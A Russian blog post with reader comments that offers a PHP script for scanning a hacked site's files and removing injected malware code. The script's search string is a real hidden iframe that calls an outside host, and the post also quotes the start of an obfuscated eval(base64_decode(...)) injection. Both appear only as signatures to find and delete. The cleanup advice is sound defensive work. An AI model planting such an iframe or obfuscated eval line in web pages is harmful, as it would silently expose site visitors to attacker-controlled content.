Если вдруг в файлы на сайте вирус сделал примерно такую запись:

eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtP и так далее"));

нужно пройтись по всем файлам на сайте и удалить добавленный код.

Пройтись по файлам можно с помощью php скрипта. 

Например, такого скрипта с сайта www.habrahabr.kz/blog/768.html

Пришлось немного поменять скрипт, потому что он удалял несколько больше чем вставленный вирусом код.

Получился вот такой вариант скрипта для удаления вируса в файлах на сайте:

<?php
 
//Virus removal script by OSA
 
//v1.1 31.10.2010
 
//jdevelop.info 29.01.2012
 
 
$virus_text = &#39;<iframe name="SagUTeXYne" src="http://skysell.ru/kx/index.php?out=1331605369" marginwidth="1" marginheight="0" title="DYvynEXUZe" border="0" width="1" frameborder="0" height="0" scrolling="no"></iframe>&#39;;
 
$skip_files = array (&#39;delvir.php&#39;);
 
$del = false;
 
$dir = getcwd().&#39;/&#39;;
 
$num_infected = 0;
 
 
function dir_walk($callback, $dir, $types = null, $recursive = false, $baseDir = &#39;&#39;) {
 
    if ($dh = opendir($dir)) {
 
        while (($file = readdir($dh))!== false) {
 
            if ($file === &#39;.&#39; || $file === &#39;..&#39;) {
 
                continue;
 
            }
 
            if (is_file($dir . $file)) {
 
                if (is_array($types)) {
 
                    if (!in_array(strtolower(pathinfo($dir . $file, PATHINFO_EXTENSION)), $types, true)) {
 
                        continue;
 
                    }
 
                }
 
                $callback($baseDir, $file);
 
            }elseif($recursive && is_dir($dir . $file)) {
 
                dir_walk($callback, $dir . $file . DIRECTORY_SEPARATOR, $types, $recursive, $baseDir . $file . DIRECTORY_SEPARATOR);
 
            }
 
        }
 
        closedir($dh);
 
    }
 
}
 
 
function del_virus ($fdir, $ffile)
 
{
 
    $flag = false;
 
$filename = $fdir.$ffile;
 
echo $filename;
 
 
if (!in_array($ffile, $GLOBALS[&#39;skip_files&#39;])){
 
 
$handle = fopen($filename, "r");
 
$fsize = filesize($filename);
 
 
if (!$fsize){
 
$contents = &#39;&#39;;
 
}else{
 
$contents = fread($handle, $fsize);
 
 
}
 
 
fclose($handle);
 
 
if (strpos($contents, $GLOBALS[&#39;virus_text&#39;]) !== false) {
 
 
 
 
if ( $GLOBALS[&#39;del&#39;] ) {
 
$contents = str_replace($GLOBALS[&#39;virus_text&#39;], &#39;&#39;, $contents);
 
$handle = fopen($filename, "wb");
 
 
fwrite($handle,$contents);
 
fclose($handle);
 
echo " - deleted";
 
}
 
 
echo " - infected";
 
$GLOBALS[&#39;num_infected&#39;]++;
 
}
 
 
 
 
}else{
 
echo " - skipped";
 
}
 
 
echo "<br/>";
 
};
 
 
dir_walk(&#39;del_virus&#39;, $dir, array(&#39;php&#39;,&#39;php5&#39;,&#39;html&#39;,&#39;htm&#39;,&#39;shtml&#39;), true, $dir );
 
 
echo "Num infected = $num_infected <br/>";
 
?>

Как удалять код вируса..

Нужно создать файл delvir.php, скопировать туда код скрипта, переменной $virus_text присвоить код вируса, для удаления $del = true; Потом скопировать этот файл в корень сайта и запустить. 

Предварительно нужно сделать архив всех файлов! Чтобы вернуть в случае некорректной замены кода вируса.

Нужно еще проверить права на запись в файл, иначе если доступ только на чтение вирус не будет удален. Поменять доступ можно с помощью фтп клиента.

Пришел в голову еще один вариант удаления вируса)

Скопировать файлы на локальный компьютер, и запустить поиск и замену по всем файлам. Например,  с помощью текстового редактора notepad++

Notepad++ работает и по ftp протоколу, но я лично поиск и замену по файлам при подключении по ftp протоколу не пробовал.

Еще один способ очистки сайта от вирусов >> Полная очистка сайта от вирусов

Комментарии   

#13 Administrator 02.08.2013 11:57
Цитирую Анна:
скажите если сайт заражен вирусами,а файлы с этого сайта будут копироваться на комп,комп не может быть заражен??

Думаю, нет, если не запускать их на локальном сервере.
#12 Анна 02.08.2013 11:15
скажите если сайт заражен вирусами,а файлы с этого сайта будут копироваться на комп,комп не может быть заражен??
#11 Роман 28.01.2013 14:14
Спасибо тебе добрый человек за такой замечательный скрипт. Всё отлично работает и чистит великолепно. Ещё раз спасибо, ты ЧЕЛОВЕЧИЩЕ!
#10 Святослав 01.01.2013 09:12
Здравствуйте.
Подскажите, пожалуйста, подробнее насчет этого: переменной $virus_text присвоить код вируса.
Т. е. в строке

$virus_text = '';

В каком месте что и чем заменить?
Спасибо заранее и с Новым годом!
#9 Людмила 25.12.2012 20:20
а мне побуквенно, я не знаю как создать этот файл, как в нем что-то написать, как через нотепад все сразу открыть и проверить.
Прошу прощения, строить блоги научили, а как защищать -нет
#8 Николай 16.12.2012 16:04
Код вируса находится? В скольких файлах?
$del = true; установлено?

если все это есть, то скорее всего нужно смотреть права на доступ к файлу.

Какие права на доступ у файла с вирусом?

Если код вируса обрамлен в одинарные кавычки, и в самом коде они встречаются, то в коде вируса перед ними нужно поставить обратный слэш \
#7 Новости России 13.12.2012 15:51
Цитирую Николай:

Создать файл delvir.php, скопировать в него код скрипта и присвоить переменной virus_text код вируса. Сначала можно запустить скрипт с $del = false; чтобы посмотреть в каких файлах находится вирус. Потом назначит переменной значение true $del = true; чтобы удалить вирус. Нужно еще проверить права на запись в файл, иначе если доступ только на чтение вирус не будет удален. Поменять доступ можно с помощью фтп клиента.

Николай, а мы можем связаться с Вами, Скайп, Аська, Мыло ... Всё сделал как Вы и описали но, что-то опять не то. Буду признателен если свяжетесь со мной.
#6 Николай 13.12.2012 14:06
Цитирую Новости России:
Здравствуйте, подскажите пожалуйста - как всё делать всё по пунктам от а до я, этот вирус достал уже, поисковики перестали заходить из-за него, трафик упал.

Создать файл delvir.php, скопировать в него код скрипта и присвоить переменной virus_text код вируса. Сначала можно запустить скрипт с $del = false; чтобы посмотреть в каких файлах находится вирус. Потом назначит переменной значение true $del = true; чтобы удалить вирус. Нужно еще проверить права на запись в файл, иначе если доступ только на чтение вирус не будет удален. Поменять доступ можно с помощью фтп клиента.
#5 Новости России 13.12.2012 13:39
Здравствуйте, подскажите пожалуйста - как всё делать всё по пунктам от а до я, этот вирус достал уже, поисковики перестали заходить из-за него, трафик упал.
#4 Тарас Алексеевич 06.12.2012 00:40
Спасибо за скрипт!!! У меня 84 сайта. Замучался бы во всех удалять!!! Данным скриптом убрал все за полтора часа! Еще раз СПАСИБО!

Чтобы сделать комментарий, нужно авторизоваться на сайте!